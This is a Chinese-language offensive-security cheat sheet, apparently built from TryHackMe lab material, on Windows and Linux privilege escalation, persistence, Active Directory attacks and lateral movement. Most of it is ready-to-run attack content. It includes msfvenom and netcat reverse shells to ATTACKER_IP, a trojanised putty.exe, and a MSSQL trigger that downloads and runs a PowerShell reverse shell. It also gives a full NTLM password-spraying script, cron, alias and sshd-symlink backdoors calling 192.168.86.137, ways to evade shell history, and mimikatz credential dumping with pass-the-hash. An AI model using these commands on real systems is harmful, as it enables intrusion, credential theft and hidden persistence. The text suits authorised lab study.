wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASany_ofs.exe
## 使用
winpeas.exe > outputfile.txt
# PrivescCheck
## 下载
https://github.com/itm4n/PrivescCheck
## 使用
Set-ExecutionPolicy Bypass -Scope process -Force
. .\PrivescCheck.ps1
Invoke-PrivescCheck
# WES-NG
## 下载
https://github.com/bitsadmin/wesng
## 使用
wes.py --update
wes.py systeminfo.txt
# Metasploit
## 可以使用以下模块
multi/recon/local_exploit_suggester
其他有用的windows升级资料
# PayloadsAllTheThings - Windows 权限提升
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md
# Priv2Admin - 滥用 Windows 权限
https://github.com/gtworek/Priv2Admin
# RogueWinRM 漏洞利用
https://github.com/antonioCoco/RogueWinRM
# 土豆
https://jlajara.gitlab.io/Potatoes_Windows_Privesc
# 解码器的博客
https://decoder.cloud/
# 代币绑架
https://dl.packetstormsecurity.net/papers/presentations/TokenKidnapping.pdf
# Hacktricks - Windows 本地权限提升
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation
Windows 权限维持
篡改非特权账户
分配组成员身份
# 将thmuser0添加到管理员组
net localgroup administrators thmuser0 /add (cmd)
# 将thmuser1添加到备份操作员
net localgroup "Backup Operators" thmuser1 /add (cmd)
# 将thmuser1添加到允许远程连接
net localgroup "Remote Management Users" thmuser1 /add (cmd)
# 修改注册表禁用远程登录时剥夺任何本地帐户的管理权限
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1 (cmd)
特殊权限和安全描述符
# 将当前配置导出到一个临时文件中
secedit /export /cfg config.inf
# 打开文件,将用户添加到配置中有关 SeBackupPrivilege 和 SeRestorePrivilege 的行中,形如:
SeBackupPrivilege = *S-1-5-32-544,*S-1-5-32-551,thmuser2
SeRestorePrivilege = *S-1-5-32-544,*S-1-5-32-551,thmuser2
# 将 .inf 文件转换为 .sdb 文件,然后用于将配置加载回系统
secedit /import /cfg config.inf /db config.sdb
secedit /configure /db config.sdb /cfg config.inf
# 利用powershell添加 thmuser2 并为其分配连接到 WinRM 的完全权限
Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI
# 必要时重启winrm服务
enable-psremoting
# 修改注册表禁用远程登录时剥夺任何本地帐户的管理权限
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1
RID劫持
# 查找已分配的RID RID是SID最后一位
wmic useraccount get name,sid
# 运行命令打开注册表
PsExec64.exe -i -s regedit
#打开HKLM\SAM\SAM\Domains\Account\Users\
#打开RID对应16进制的文件夹
# 打开F文件
# 修改00 30行为F4 01
备份SAM及SYSTEM文件并登录
# 连接登录
evil-winrm -i 10.10.94.198 -u thmuser1 -p Password321
# 备份SAM及SYSTEM文件
reg save hklm\system system.bak
reg save hklm\sam sam.bak
# 下载文件
download system.bak
download sam.bak
#获取所有用户的密码哈希
secretsdump.py -sam sam.bak -system system.bak LOCAL
#以管理员权限连接计算机
evil-winrm -i 10.10.207.134 -u Administrator -H 1cea1d7e8899f69e89088c4cb4bbdaa3
后门文件
# 利用msfvenoom捆绑木马
msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp lhost=ATTACKER_IP lport=4444 -b "\x00" -f exe -o puttyX.exe
# 快捷方式文件
## 在一个新的位置创建新的powershell脚本
Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4445"
C:\Windows\System32\calc.exe
## 将快捷方式指向脚本
powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1
# 劫持文件关联
## 打开注册表
win+R 输入 regedit
## 进入注册表Computer\HKLM\Software\Classes\.txt txt可任选 查看Default的Data值
## 搜索相应的ProgID子项
Computer\HKLM\Software\Classes\txtfile\shell\open\command # 注意txtfile
## 创建powershell脚本
Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4448"
C:\Windows\system32\NOTEPAD.EXE $args[0]
## 更改注册表
powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1
利用服务
# 创建后门服务
## 更改管理员密码
sc.exe create THMservice binPath= "net user Administrator Passwd123" start= auto
sc.exe start THMservice
# 用msfvenom
## 创建msf文件
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4448 -f exe-service -o rev-svc.exe
## 创建后门服务
sc.exe create THMservice2 binPath= "C:\windows\rev-svc.exe" start= auto
sc.exe start THMservice2
# 修改现有服务
## 获取服务列表
sc.exe query state=all #重点关注STOPPED的
## 查询服务配置
sc.exe qc THMService3
## 创建木马
user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=5558 -f exe-service -o rev-svc2.exe
## 重置服务
sc.exe config THMservice3 binPath= "C:\Windows\rev-svc2.exe" start= auto obj= "LocalSystem"
## 启动服务
sc.exe start THMservice3
利用计划任务
# 建立反弹任务
schtasks /create /sc minute /mo 1 /tn THM-TaskBackdoor /tr "c:\tools\nc64 -e cmd.exe ATTACKER_IP 4449" /ru SYSTEM
# 查询任务是否创建成功
schtasks /query /tn thm-taskbackdoor
# 让计划任务不可见
## 以system打开注册表进入如下位置
c:\tools\pstools\PsExec64.exe -s -i regedit
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\
## 删除计划任务的SD值
登录触发的持久性
# 启动文件夹
## 将任意可执行文件放入下面目录
C:\Users\<your_username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
如果我们想强制所有用户在登录时运行有效负载,我们可以以同样的方式使用下面的文件夹。C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
## 生成木马文件
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.9.0.89 LPORT=4450 -f exe -o revshell.exe
## 下载并copy文件
copy revshell.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"
# Run/RunOnce注册表维权
## 适用于当前用户
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
## 适用于所有人
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
## 启动注册表
c:\tools\pstools\PsExec64.exe -s -i regedit
进入
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
## 新建注册表项 data填写后门文件 此处新建项要选择expanable string value
# winlogon
## 在以下注册表后面随便找一个可执行文件添加,注意逗号:,C:\Windows\revshell.exe
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
# 登录脚本
登录脚本每个用户都有起不同的配置,如果要持久化所有用户需挨个配置
## 进入以下注册表
HKCU\Environment
## 创建UserInitMprLogonScript值(expanable string value)
## 配置反弹shell脚本
## 一句命令示例
reg add hkcu\Environment /t REG_EXPAND_SZ /v UserInitMprLogonScript /d c:\backdoor.exe
登录windows/RDP的后门
# 粘滞键
takeown /f c:\Windows\System32\sethc.exe
icacls C:\Windows\System32\sethc.exe /grant Administrator:F
# processed file: C:\Windows\System32\sethc.exe
copy c:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
# Utilman
takeown /f c:\Windows\System32\utilman.exe
icacls C:\Windows\System32\utilman.exe /grant Administrator:F
# processed file: C:\Windows\System32\utilman.exe
copy c:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe
通过现有服务持久化
# 使用 webshell
# 下载一个webshell
https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmdasp.aspx
# 移动到iis目录
move shell.aspx C:\inetpub\wwwroot\
## 授予每个人文件完全权限
shell.aspxicacls shell.aspx /grant Everyone:F
# 使用mssql作为后门
## 登录mssql
## 单击新建查询
## 启用xp_cmdshell
sp_configure 'Show Advanced Options',1;
RECONFIGURE;
GO
sp_configure 'xp_cmdshell',1;
RECONFIGURE;
GO
## 向所有用户授予模拟该用户(默认数据库管理员)的权限
USE master
GRANT IMPERSONATE ON LOGIN::sa to [Public];
## 进入一个数据库
USE HRDB
## 创建触发器
CREATE TRIGGER [sql_backdoor]
ON HRDB.dbo.Employees
FOR INSERT AS
EXECUTE AS LOGIN = 'sa'
EXEC master..xp_cmdshell 'Powershell -c "IEX(New-Object net.webclient).downloadstring(''http://ATTACKER_IP:8000/evilscript.ps1'')"';
## powershell脚本内容如下:
# evilscript.ps1
$client = New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",4454);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "PS " + (pwd).Path + "> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
## 启动监听
python3 -m http.server 8000
nc -lvp 4454
## 当插入数据时就会反弹shell
其余windows权限维持技巧
# Hexacorn - Windows 持久性
https://www.hexacorn.com/blog/category/autostart-persistence/
# PayloadsAllTheThings - Windows 持久性
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md
# Oddvar Moe - 通过 RunOnceEx 实现 Windows 持久性
https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/
# PowerUpSQL的
https://www.netspi.com/blog/technical-blog/network-penetration-testing/establishing-registry-persistence-via-sql-server-powerupsql/
攻击活动目录
OSINT和网络钓鱼
# OSINT
用于发现已公开披露的信息。就 AD 凭据而言,发生这种情况的原因可能有多种,例如:
在公共论坛、github源码泄露、公开泄露
## 可用如下网站查看是否口令泄露
https://www.dehashed.com/
https://haveibeenpwned.com/
# 网络钓鱼
网络钓鱼是另一种破坏 AD 的绝佳方法,网络钓鱼通常会诱使用户在恶意网页上提供其凭据
NTLM身份验证服务
# 爆破场景
公开 Outlook Web App (OWA) 登录门户的内部承载的 Exchange (邮件) 服务器。
向 Internet 公开的服务器的远程桌面协议 (RDP) 服务。
与 AD 集成的公开 VPN 终结点。
面向 Internet 并使用 NetNTLM 的 Web 应用程序。
# 暴力破解
# 密码喷洒
NTLM爆破代码
#!/usr/bin/python3
import requests
from requests_ntlm import HttpNtlmAuth
import sys, getopt
class NTLMSprayer:
def __init__(self, fqdn):
self.HTTP_AUTH_FAILED_CODE = 401
self.HTTP_AUTH_SUCCEED_CODE = 200
self.verbose = True
self.fqdn = fqdn
def load_users(self, userfile):
self.users = []
lines = open(userfile, 'r').readlines()
for line in lines:
self.users.append(line.replace("\r", "").replace("\n", ""))
def password_spray(self, password, url):
print ("[*] Starting passwords spray attack using the following password: " + password)
count = 0
for user in self.users:
response = requests.get(url, auth=HttpNtlmAuth(self.fqdn + "\\" + user, password))
if (response.status_code == self.HTTP_AUTH_SUCCEED_CODE):
print ("[+] Valid credential pair found! Username: " + user + " Password: " + password)
count += 1
continue
if (self.verbose):
if (response.status_code == self.HTTP_AUTH_FAILED_CODE):
print ("[-] Failed login with Username: " + user)
print ("[*] Password spray attack completed, " + str(count) + " valid credential pairs found")
def main(argv):
userfile = ''
fqdn = ''
password = ''
attackurl = ''
try:
opts, args = getopt.getopt(argv, "hu:f:p:a:", ["userfile=", "fqdn=", "password=", "attackurl="])
except getopt.GetoptError:
print ("ntlm_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>")
sys.exit(2)
for opt, arg in opts:
if opt == '-h':
print ("ntlm_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>")
sys.exit()
elif opt in ("-u", "--userfile"):
userfile = str(arg)
elif opt in ("-f", "--fqdn"):
fqdn = str(arg)
elif opt in ("-p", "--password"):
password = str(arg)
elif opt in ("-a", "--attackurl"):
attackurl = str(arg)
if (len(userfile) > 0 and len(fqdn) > 0 and len(password) > 0 and len(attackurl) > 0):
#Start attack
sprayer = NTLMSprayer(fqdn)
sprayer.load_users(userfile)
sprayer.password_spray(password, attackurl)
sys.exit()
else:
print ("ntlm_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>")
sys.exit(2)
if __name__ == "__main__":
main(sys.argv[1:])
LDAP绑定凭据
LDAP 回传攻击
# 配置恶意LDAP服务器
sudo apt-get update && sudo apt-get -y install slapd ldap-utils && sudo systemctl enable slapd
# 重新配置LDAP服务器
sudo dpkg-reconfigure -p low slapd
选择->no->填写DNS域名->填写组织名->填写任意管理员密码->选择MDB数据库->no->yes
# 降级支持的身份验证机制
## 创建新的ldif文件
创建一个名为olcSaslSecProps.ldif,并写入以下内容
#olcSaslSecProps.ldif
dn: cn=config
replace: olcSaslSecProps
olcSaslSecProps: noanonymous,minssf=0,passcred
#使用ldif文件修补LDAP服务器
sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart
# 启动tcpdump抓包并捕获LDAP凭据
sudo tcpdump -SX -i breachad tcp port 389
身份验证中继
#Responder 允许我们通过在 NetNTLM 身份验证期间毒害响应来执行中间人攻击
# Responder 下载地址
https://github.com/lgandx/Responder
#我们将 Responder 设置为在连接到 VPN 的接口上运行:
sudo responder -I breachad
# 破解ntlm hash
hashcat -m 5600 <hash file> <password file> --force
Microsoft 部署工具包
# MDT 和 SCCM
Microsoft 部署工具包 (MDT) 是一项 Microsoft 服务, 协助自动部署 Microsoft 操作系统 (操作系统)。大型组织使用 MDT 等服务来帮助部署新的 图像在其资产中更有效率,因为基础图像可以 在中心位置进行维护和更新。
# PXE 引导
大型组织使用 PXE 启动来允许连接到网络的新设备直接通过网络连接加载和安装操作系统。MDT 可用于创建、管理和托管 PXE 启动映像。PXE 引导通常与 DHCP 集成,这意味着如果 DHCP 分配了 IP 租约,则允许主机请求 PXE 引导映像并启动网络操作系统安装过程。
# PXE 启动映像检索
通过 DHCP 接收的有关 PXE 启动预配置的第一条信息是 MDT 服务器的 IP。在我们的例子中,您可以从 TryHackMe 网络图中恢复该信息。
您将收到的第二条信息是 BCD 文件的名称。这些文件存储与不同类型的体系结构的 PXE Boots 相关的信息
# 通过 SSH 连接到跳转主机然后假装 PXE 客户端
浏览器访问http://pxeboot.za.tryhackme.com/获取文件名(通常全部获取)
tftp下载
tftp -i (Resolve-DnsName thmmdt.za.tryhackme.com).IPAddress GET "\Tmp\x64{BFA810B9-DF7D-401C-B5B6-2F4D37258344}.bcd" conf.bcd
# 使用powerpxe读取其内容
powershell -executionpolicy bypass
Import-Module .\PowerPXE.ps1
$BCDFile = "conf.bcd"
Get-WimFile -bcdFile $BCDFile
# 在获取的信息中寻找形如\Boot\x64\Images\LiteTouchPE_x64.wim的文件
# 利用tftp 下载该文件
tftp -i 10.200.55.202 GET "\Boot\x64\Images\LiteT
ouchPE_x64.wim" pxeboot.wim
# 提取凭据
Get-FindCredentials -WimFile pxeboot.wim
# 此处还可以,在镜像种注入管理员账户,或者直接安装,这样就有了个能进入域的电脑
配置文件
# 配置文件枚举自动工具
https://github.com/GhostPack/Seatbelt
# 手动配置文件凭据(以McAfee为例)
## 该程序存储凭据的固定位置
C:/ProgramData/McAfee/Agent/DB/ma.db
## 利用sqlitebrowser打开
sqlitebrowser ma.db
## 访问AGENT_REPOSITORIES表
## 关注DOMAIN、AUTH_USER 和 AUTH_PASSWD 字段条目
## 破解存储的加密字段
### 下载
https://github.com/funoverip/mcafee-sitelist-pwd-decryption
### 使用
python mcafee_sitelist_pwd_decrypt.py <AUTH PASSWD VALUE>
Linux 权限提升
linux 本机信息枚举
常见命令
hostname # 主机名
uname -a # 查询系统信息
cat /etc/version # 查看进程信息
cat /etc/issue # 查看操作系统信息
ps -A #查看所有正在运行的进程
ps axjf #查看进程树
ps aux #选项将显示所有用户的进程 (a)、显示启动进程的用户 (u) 以及显示未连接到终端的进程 (x)
env # 显示环境变量
sodu -l # 查看用户允许已root权限运行哪些命令
id <username> # 提供用户权限级别的一般概述,以及组成员身份
cat /etc/passwd # 发现系统上用户
history # 查看用户历史命令
ifconfig # 显示网卡信息
ip route # 查看存在的网络路由
netstat -ano 查看网络状态
netstat -a # 显示所有侦听端口和已建立的连接。
netstat -at/-au # 用于列出 TCP 或 UDP 协议 分别。netstat
netstat -l # 显示处于“侦听”模式的端口
netstat -s # 按协议列出网络使用统计信息
netstat -tp # 列出包含服务名称和 PID 信息的连接。
netstat -i # 显示接口统计信息。
find命令大全
find . -name flag1.txt # 在当前目录查找文件
find /home -name flag1.txt # 在/home 目录查找文件
find / -type d -name config # 在/下找到名为config的目录
find / -type f -perm 0777 # 查找具有 777 权限的文件
find / -perm a=x # 查找可执行文件
find /home -user frank # 在home目录下查找用户Frank的所有文件
find / -mtime 10 # 查找最近 10 天中修改的文件
find / -atime 10 # 查找最近 10 天访问过的文件
find / -cmin -60 # 查找过去60分钟内更改的文件
find / -amin -60 # 查找过去60分钟内访问的文件
find / -size 50M # 查找大小为 50 MB 的文件
find / -size +50M # 查找大小大于 50 MB 的文件
find / -size -50M # 查找大小小于 50 MB 的文件
2>/dev/null # 将错误重定向到/dev/null
# 查找全局可写的目录的三种方法
find / -writable -type d 2>/dev/null
find / -perm -222 -type d 2>/dev/null
find / -perm -o w -type d 2>/dev/null
# 查找全局可执行的目录
find / -perm -o x -type d 2>/dev/null
# 查找开发工具和支持的语言
find / -name perl*
find / -name python*
find / -name gcc*
# 查找具有suid权限的文件
find / -perm -u=s -type f 2>/dev/null
linux 自动枚举工具
# LinPeas
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
# LinEnum
https://github.com/rebootuser/LinEnum
# LES(Linux漏洞利用建议器)
https://github.com/mzet-/linux-exploit-suggester
# Linux智能枚举
https://github.com/diego-treitos/linux-smart-enumeration
# Linux隐私检查器
https://github.com/linted/linuxprivchecker
内核提权
利用步骤
# 识别内核版本
# 搜索并找到目标系统内核版本的漏洞利用代码
# 运行漏洞利用程序
漏洞来源
# 根据您的发现,您可以使用 Google 搜索现有的漏洞利用代码。
# https://www.linuxkernelcves.com/cves等来源也很有用。
# 另一种选择是使用 LES(Linux Exploit Suggester)之类的脚本,但请记住,这些工具可能会生成误报(报告不影响目标系统的内核漏洞)或漏报(不报告任何内核漏洞,尽管内核是易受伤害的)
sudo提权
sudo -l # 检查与root权限相关的当前情况
https://gtfobins.github.io/ # 查询具有suid或者sudo权限可以如何提升权限
suid 提权
find / -type f -perm -04000 -ls 2>/dev/null # 列出suid/sgid文件
https://gtfobins.github.io/ # suid提权速查
unshadow passwd.txt shadow.txt > passwords.txt # 破解用户名密码
sudo john password.txt # 爆破用户密码
openssl passwd -1 -salt 用户名 密码 # 生成用户名密码的加密
capabilities(功能) 提权
getcap -r / 2>/dev/null # 查看启用的功能
https://gtfobins.github.io/ # capabilities提权速查
计划任务提权
cat /etc/crontab # 查看计划任务
# 不要忘了加运行权限
环境变量提权
echo $PATH # 输出环境变量
find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u # 查找可写文件夹
export PATH=/tmp:$PATH # 添加自有环境变量
echo "/bin/bash" > /tmp/thm && chmod +x /tmp/thm # 将bash文件copy成某文件
NFS(网络文件共享)提权
cat /etc/exports | grep no_root_squash # 查看nfs配置文件并查看哪些目录可以利用
showmount -e 10.0.2.12 枚举目标机可挂载份额
mkdir /tmp/thm && mount -o rw 10.0.2.12:/backups /tmp/thm && cd /tmp/thm # 挂载目标机nfs
# 创建c语言代码
int main(){
setgid(0);
setuid(0);
system("/bin/bash");
return 0;
}
gcc nfs.c -o nfs -w && chmod +s nfs && ls -l nfs # 编译c语言代码并赋予suid权限
Linux 权限维持
添加后门账号
sudo useradd-M 用户名 && sudo passwd 用户名 # 创建用户并设置用户名
# 用户可通过sodu+密码获取root权限
sudo visudo
添加
用户名 ALL=(ALL:ALL) ALL
# 验证用户是否可以ssh登录
#添加ssh登录权限
vim /etc/ssh/sshd_config
# 添加 AllowUsers user
sudo systemctl restart ssh # 重启ssh服务
ssh公私钥后门
ssh-keygen -t rsa -b 4096 -C "你的邮箱地址" # 创建公私钥
cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys # 将公钥添加生效
ssh -i ~/.ssh/my_custom_key 用户名@服务器IP # ssh登录指定私钥文件
ssh软连接
cat /etc/ssh/sshd_config | grep UsePAM
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888
ssh [email protected] -p 8888 任意密码登录即可
(echo "* * * * * ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888") | crontab - # 添加计划任务免得被kill
计划任务后门
echo "#!/bin/bash" > /tmp/.demo.sh
echo "sh -i >& /dev/tcp/192.168.86.137/3434 0>&1" > /tmp/.demo.sh
chmod +x /tmp/.demo.sh
(echo "*/1 * * * * /tmp/.demo.sh") | crontab -
# 利用现有计划任务更不易发现
alias后门
echo "alias ls='alerts(){ ls $* --color=auto;bash -i >& /dev/tcp/192.168.86.137/3333 0>&1; };alerts'" >> ~/.bashrc
开机启动项
echo "#!/bin/bash" > /etc/profile.d/.demo.sh
echo "echo "sh -i >& /dev/tcp/192.168.86.137/3434 0>&1" >> /etc/profile.d/.demo.sh
chmod +x /etc/profile.d/.demo.sh
# 利用现有开机启动项更不容易发现
tsh权限维持
https://github.com/creaktive/tsh
# 编译
make <system> 如make linux
# server
umask 077; HOME=/var/tmp ./tshd
# client
- start a shell:
./tsh <hostname>
- execute a command:
./tsh <hostname> "uname -a"
- transfer files:
./tsh <hostname> get /etc/shadow .
./tsh <hostname> put vmlinuz /boot
rootkit权限维持
https://github.com/f0rb1dd3n/Reptile/
suid/sgid/sudo权限维持
chmod u+s python
chmod g+s python
sudo visudo
添加
用户名 ALL=(ALL:ALL) ALL
history不记录执行命令
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG
export HISTFILE=/dev/null
export HISTSIZE=0
export HISTFILESIZE=0
或执行命令前加一个空格
如ls变成 ls(注意是空ls)
其他的后门维持手段
OpenSSH后门万能密码&记录密码
PAM后门
Strace后门
xz投毒后门
横向移动与旋转
远程生成进程
# PSexec
## 条件
端口:445/TCP(smb)
所需的组成员身份:管理员
## 下载位置
https://learn.microsoft.com/en-us/sysinternals/downloads/psexec
## 使用
psexec64.exe \\MACHINE_IP -u Administrator -p Mypass123 -i cmd.exe
# WinRM
## 条件
端口:5985/TCP (WinRM HTTP) 或 5986/TCP (WinRM HTTPS)
所需的组成员身份:远程管理用户
## 使用
winrs.exe -u:Administrator -p:Mypass123 -r:target cmd
# powershell替代WinRM
我们可以从 Powershell 实现相同的目的,但要传递不同的凭据,我们需要创建一个 PSCredential 对象:
$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
获得 PSCredential 对象后,可以使用 Enter-PSSession cmdlet 创建交互式会话:
Enter-PSSession -Computername TARGET -Credential $credential
Powershell 还包括 Invoke-Command cmdlet,它通过 WinRM 远程运行 ScriptBlocks。凭据也必须通过 PSCredential 对象传递:
Invoke-Command -Computername TARGET -Credential $credential -ScriptBlock {whoami}
# ps
msf快捷使用
msfconsole -q -x "use exploit/multi/handler; set payload windows/shell/reverse_tcp; set LHOST lateralmovement; set LPORT 4444;exploit"
远程生成服务
# 使用 sc 创建服务
## 条件
端口:
135/TCP、49152-65535/TCP (DCE/RPC)
445/TCP(基于 SMB 命名管道的 RPC)445/TCP (RPC over SMB Named Pipes)
139/TCP(基于 SMB 命名管道的 RPC)139/TCP (RPC over SMB Named Pipes)
所需的组成员身份:管理员
## 使用
### 创建新用户
sc.exe \\TARGET create THMservice binPath= "net user munra Pass123 /add" start= auto
sc.exe \\TARGET start THMservice
### 停止和删除服务
sc.exe \\TARGET stop THMservice
sc.exe \\TARGET delete THMservice
远程创建计划任务
# schtasks
## 使用
### 创建计划任务
schtasks /s TARGET /RU "SYSTEM" /create /tn "THMtask1" /tr "<command/payload to execute>" /sc ONCE /sd 01/01/1970 /st 00:00
schtasks /s TARGET /run /TN "THMtask1"
### 删除计划任务
schtasks /S TARGET /TN "THMtask1" /DELETE /F
使用WMI 横向移动
连接到wmi
$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
#建立wmi会话
## DCOM
RPC over IP 将用于连接到 WMI。此协议使用端口 135/TCP 和端口 49152-65535/TCP,如使用 sc.exe 时所述。
## winRM
WinRM 将用于连接到 WMI。此协议使用端口 5985/TCP (WinRM HTTP) 或 5986/TCP (WinRM HTTPS)
## powershell
$Opt = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName TARGET -Credential $credential -SessionOption $Opt -ErrorAction Stop
使用wmi创建远程进程
# 使用wmi创建远程进程
## 需求
端口:
135/TCP、49152-65535/TCP (DCERPC)
5985/TCP (WinRM HTTP) 或 5986/TCP (WinRM HTTPS)
所需的组成员身份:管理员
## 使用
### powershell
$Command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value munrawashere";
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{
CommandLine = $Command
}
### 在旧系统中可以使用wmic
wmic.exe /user:Administrator /password:Mypass123 /node:TARGET process call create "cmd.exe /c calc.exe"
使用wmi远程创建服务
# 使用wmi远程创建服务
## 需求
端口:
135/TCP、49152-65535/TCP (DCERPC)
5985/TCP (WinRM HTTP) 或 5986/TCP (WinRM HTTPS)
所需的组成员身份:管理员
## 使用
### powershell
Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{
Name = "THMService2";
DisplayName = "THMService2";
PathName = "net user munra2 Pass123 /add"; # Your payload
ServiceType = [byte]::Parse("16"); # Win32OwnProcess : Start service in a new process
StartMode = "Manual"
}
# 启动命令
$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE 'THMService2'"
Invoke-CimMethod -InputObject $Service -MethodName StartService
# 停止或删除服务
Invoke-CimMethod -InputObject $Service -MethodName StopService
Invoke-CimMethod -InputObject $Service -MethodName Delete
使用 WMI 远程创建计划任务
# 需求
端口:
135/TCP、49152-65535/TCP (DCERPC)
5985/TCP (WinRM HTTP) 或 5986/TCP (WinRM HTTPS)
所需的组成员身份:管理员
# 使用
## powershell
# Payload must be split in Command and Args
$Command = "cmd.exe"
$Args = "/c net user munra22 aSdf1234 /add"
$Action = New-ScheduledTaskAction -CimSession $Session -Execute $Command -Argument $Args
Register-ScheduledTask -CimSession $Session -Action $Action -User "NT AUTHORITY\SYSTEM" -TaskName "THMtask2"
Start-ScheduledTask -CimSession $Session -TaskName "THMtask2"
通过wmi安装msi包
# 需求
端口:
135/TCP、49152-65535/TCP (DCERPC)
5985/TCP (WinRM HTTP) 或 5986/TCP (WinRM HTTPS)
所需的组成员身份:管理员
# 使用
## powershell
Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\myinstaller.msi"; Options = ""; AllUsers = $false}
# 我们可以通过在遗留系统中使用 wmic 来实现相同的目的:
wmic /node:TARGET /user:DOMAIN\USER product call install PackageLocation=c:\Windows\myinstaller.msi
使用备用认证材料
提取NTLM哈希
# 从本地SAM中提取NTLM哈希
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::sam
# 从LSASS内存中提取NTLM哈希
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # sekurlsa::msv
# mimikatz使用
mimikatz # token::revert
mimikatz # sekurlsa::pth /user:bob.jenkins /domain:za.tryhackme.com /ntlm:6b4a57f67805a663c818106dc0648484 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5555"
# linux传递哈希值
## 使用PtH连接到RDP
xfreerdp /v:VICTIM_IP /u:DOMAIN\\MyUser /pth:NTLM_HASH
## 使用linux版本PSexec
psexec.py -hashes NTLM_HASH DOMAIN/MyUser@VICTIM_IP
## 使用WinRM
evil-winrm -i VICTIM_IP -u MyUser -H NTLM_HASH
Kerberos认证
#提取票据
mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export
# 将票证注入当前会话
mimikatz # kerberos::ptt [0;427fcd5][email protected]
# 检查票证
klist
密钥传递
# 获取加密密钥
mimikatz # privilege::debug
mimikatz # sekurlsa::ekeys
传递密钥并获取反弹shell
# RC4
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /rc4:96ea24eff4dff1fbe13818fbf12ea7d8 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
# AES128
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes128:b65ea8151f13a31d01377f5934bf3883 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
# AES256
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes256:b54259bbff03af8d37a138c375e29254a2ca0649337cc4c73addcd696b4cdb65 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
滥用用户行为
滥用可写网络共享
当存在共享文件,并且有用户拉去他并执行时,可获取反弹shell
举例
# .vbs脚本(假设有nc)
CreateObject("WScript.Shell").Run "cmd.exe /c copy /Y \\10.10.28.6\myshare\nc64.exe %tmp% & %tmp%\nc64.exe -e cmd.exe <attacker_ip> 1234", 0, True
#假设有.exe文件(msf注入)
